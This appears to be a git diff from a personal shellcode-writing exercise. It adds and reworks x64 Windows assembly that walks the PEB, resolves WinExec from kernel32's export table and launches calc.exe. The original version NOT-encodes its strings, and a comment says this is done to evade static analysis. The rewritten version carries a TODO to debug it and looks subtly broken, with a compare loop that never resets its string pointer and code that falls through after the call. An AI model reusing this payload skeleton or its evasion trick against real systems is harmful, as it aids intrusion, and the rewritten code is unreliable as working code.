diff --git a/original.asm b/original.asm new file mode 100644 index 0000000..f0a288b --- /dev/null +++ b/original.asm @@ -0,0 +1,92 @@ +xor rdi, rdi ; RDI = 0x0 +mul rdi ; RAX&RDX =0x0 +mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB +mov rbx, [rbx+0x18] ; RBX = Address_of_LDR +mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll +mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll +mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll +mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll) +mov r8, rbx ; RBX & R8 = &kernel32.dll + +; Get kernel32.dll ExportTable Address +mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader +add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader +xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add +add cx, 0x88ff +shr rcx, 0x8 ; RCX = 0x88ff --> 0x88 +mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable +add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable + +; Get &AddressTable from Kernel32.dll ExportTable +xor r10, r10 +mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable +add r10, r8 ; R10 = &AddressTable + +; Get &NamePointerTable from Kernel32.dll ExportTable +xor r11, r11 +mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable +add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable) + +; Get &OrdinalTable from Kernel32.dll ExportTable +xor r12, r12 +mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable +add r12, r8 ; R12 = &OrdinalTable + +jmp short apis + +; Get the address of the API from the Kernel32.dll ExportTable +getapiaddr: +pop rbx ; save the return address for ret 2 caller after API address is found +pop rcx ; Get the string length counter from stack +xor rax, rax ; Setup Counter for resolving the API Address after finding the name string +mov rdx, rsp ; RDX = Address of API Name String to match on the Stack +push rcx ; push the string length counter to stack +loop: +mov rcx, [rsp] ; reset the string length counter from the stack +xor rdi,rdi ; Clear RDI for setting up string name retrieval +mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)] +add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll +mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string) +repe cmpsb ; Compare strings at RDI & RSI +je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API +incloop: +inc rax +jmp short loop + +; Find the address of GetProcAddress by using the last value of the Counter +resolveaddr: +pop rcx ; remove string length counter from top of stack +mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32. +mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber] +add rax, r8 ; RAX = Kernel32. = RVA kernel32. + kernel32.dll BaseAddress +push rbx ; place the return address from the api string call back on the top of the stack +ret ; return to API caller + +apis: ; API Names to resolve addresses +; WinExec | String length : 7 +xor rcx, rcx +add cl, 0x7 ; String length for compare string +mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec +not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis +shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll +push rax +push rcx ; push the string length counter to stack +call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable +mov r14, rax ; R14 = Kernel32.WinExec Address + +; UINT WinExec( +; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0 +; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL +; ); +xor rcx, rcx +mul rcx ; RAX & RDX & RCX = 0x0 +; calc.exe | String length : 8 +push rax ; Null terminate string on stack +mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe" +not rax +;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163 +push rax ; RSP = "calc.exe",0x0 +mov rcx, rsp ; RCX = "calc.exe",0x0 +inc rdx ; RDX = 0x1 = SW_SHOWNORMAL +sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA) +call r14 ; Call WinExec("calc.exe", SW_HIDE) \ No newline at end of file diff --git a/shellcode.asm b/shellcode.asm index da66c8a..0b4b872 100644 --- a/shellcode.asm +++ b/shellcode.asm @@ -1,13 +1,15 @@ [bits 64] +;; TODO: DEBUG this shiiiit (x64dbg) + ; Access PEB structure xor rbx, rbx mov rbx, gs:[0x60] ; RBX = address of PEB struct mov rbx, [rbx+0x18] ; RBX = address of PEB_LDR_DATA -mov rbx, rbx+0x20 ; RBX = address of InMemoryOrderModuleList +add rbx, 0x20 ; RBX = address of InMemoryOrderModuleList ; Go down the double-link list of PEB_LDR_DATA -mov rbx, [rbx] ; RBX = 1st entry in InMemoryOrderModuleList (ntdll.dll) +mov rbx, [rbx] ; RBX = 1st entry in InMemoryOrderModuleList (ntdll.dll) mov rbx, [rbx] ; RBX = 2st entry in InMemoryOrderModuleList (kernelbase.dll) mov rbx, [rbx] ; RBX = 3st entry in InMemoryOrderModuleList (kernel32.dll) @@ -40,110 +42,73 @@ xor r12, r12 mov r12, [r9+0x24] ; R12 = ExportTable.AddressOfNameOrdinals RVA add r12, r8 ; R12 = &kernel32.dll + RVA = &AddressOfNameOrdinals -jmp short get_winapi_func - -get_winapi_func: - ; Requirements: - ; R8 = &kernel32.dll - ; R10 = &AddressOfFunctions (ExportTable) - ; R11 = &AddressOfNames (ExportTable) - ; R12 = &AddressOfNameOrdinals (ExportTable) - ; Returns: - ; RAX = &winapi_func - - - -; ================================== - -xor rdi, rdi ; RDI = 0x0 -mul rdi ; RAX&RDX =0x0 -mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB -mov rbx, [rbx+0x18] ; RBX = Address_of_LDR -mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll -mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll -mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll -mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll) -mov r8, rbx ; RBX & R8 = &kernel32.dll - -; Get kernel32.dll ExportTable Address -mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader -add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader -xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add -add cx, 0x88ff -shr rcx, 0x8 ; RCX = 0x88ff --> 0x88 -mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable -add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable - -; Get &AddressTable from Kernel32.dll ExportTable -xor r10, r10 -mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable -add r10, r8 ; R10 = &AddressTable - -; Get &NamePointerTable from Kernel32.dll ExportTable -xor r11, r11 -mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable -add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable) - -; Get &OrdinalTable from Kernel32.dll ExportTable -xor r12, r12 -mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable -add r12, r8 ; R12 = &OrdinalTable - -jmp short apis - -; Get the address of the API from the Kernel32.dll ExportTable -getapiaddr: -pop rbx ; save the return address for ret 2 caller after API address is found -pop rcx ; Get the string length counter from stack -xor rax, rax ; Setup Counter for resolving the API Address after finding the name string -mov rdx, rsp ; RDX = Address of API Name String to match on the Stack -push rcx ; push the string length counter to stack -loop: -mov rcx, [rsp] ; reset the string length counter from the stack -xor rdi,rdi ; Clear RDI for setting up string name retrieval -mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)] -add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll -mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string) -repe cmpsb ; Compare strings at RDI & RSI -je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API -incloop: -inc rax -jmp short loop - -; Find the address of GetProcAddress by using the last value of the Counter -resolveaddr: -pop rcx ; remove string length counter from top of stack -mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32. -mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber] -add rax, r8 ; RAX = Kernel32. = RVA kernel32. + kernel32.dll BaseAddress -push rbx ; place the return address from the api string call back on the top of the stack -ret ; return to API caller - -apis: ; API Names to resolve addresses -; WinExec | String length : 7 +; Get address of WinExec function exported from kernel32.dll xor rcx, rcx -add cl, 0x7 ; String length for compare string -mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec -not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis -shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll -push rax -push rcx ; push the string length counter to stack -call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable -mov r14, rax ; R14 = Kernel32.WinExec Address +add cl, 0x7 ; RCX = function name length ("WinExec" == 7) +xor rax, rax +mov rax, 0x636578456E695700 ; RAX = function name = "cexEniW" (WinExec) + 0x00 +push rax ; STACK + function name address (8) +mov rsi, rsp ; RSI = &function_name + +call get_winapi_func +mov r13, rax ; R13 = &WinExec + +; Execute WinExec function +; ; UINT WinExec( ; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0 ; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL ; ); +xor rax, rax xor rcx, rcx -mul rcx ; RAX & RDX & RCX = 0x0 -; calc.exe | String length : 8 -push rax ; Null terminate string on stack -mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe" -not rax -;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163 -push rax ; RSP = "calc.exe",0x0 -mov rcx, rsp ; RCX = "calc.exe",0x0 -inc rdx ; RDX = 0x1 = SW_SHOWNORMAL -sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA) -call r14 ; Call WinExec("calc.exe", SW_HIDE) \ No newline at end of file +xor rdx, rdx + +mov rax, 0x6578652e636c6163 ; RAX = "exe.clac" (command string: calc.exe) +push ax ; STACK + null terminator (2) +push rax ; STACK + command string (8) +mov rcx, rsp ; RCX = LPCSTR lpCmdLine + +mov dl, 0x1 ; RDX = UINT uCmdShow = 0x1 (SW_SHOWNORMAL) +; Why is here "sub rsp, 0x20" originally ??? +call r13 ; Call WinExec(rax, rdx) + +get_winapi_func: + ; Requirements (preserved): + ; R8 = &kernel32.dll + ; R10 = &AddressOfFunctions (ExportTable) + ; R11 = &AddressOfNames (ExportTable) + ; R12 = &AddressOfNameOrdinals (ExportTable) + ; Parameters (preserved): + ; RSI = (char*) function_name + ; RCX = (int) length of function_name string + ; Returns: + ; RAX = &function + ; + ; IMPORTANT: This function doesn't handle "not found" case! + ; Infinite loop and access violation is possible. + + xor rax, rax ; RAX = counter = 0 + push rcx ; STACK + RCX (8) = preserve length of function_name string + + ; Loop through AddressOfNames array: + ; array item = function name RVA (4 bytes) + loop: + mov rcx, [rsp] ; RCX = length of function_name string + xor rdi, rdi ; RDI = 0 + + mov edi, [r11+rax*4] ; RDI = function name RVA + add rdi, r8 ; RDI = &FunctionName = function name RVA + &kernel32.dll + repe cmpsb ; Compare byte at *RDI (array item str) and *RSI (param function name) + + je resolve_func_addr ; Jump if exported function name == param function name + + inc rax ; RAX = RAX + 1 + jmp short loop + + resolve_func_addr: + pop rcx ; STACK - RCX (8) = remove length of function_name string + mov ax, [r12+rax*2] ; RAX = ordinal number of function = &AddressOfNameOrdinals + (counter * 2) + mov eax, [r10+rax*4] ; RAX = function RVA = &AddressOfFunctions + (ordinal number * 4) + add rax, r8 ; RAX = &function = function RVA + &kernel32.dll + ret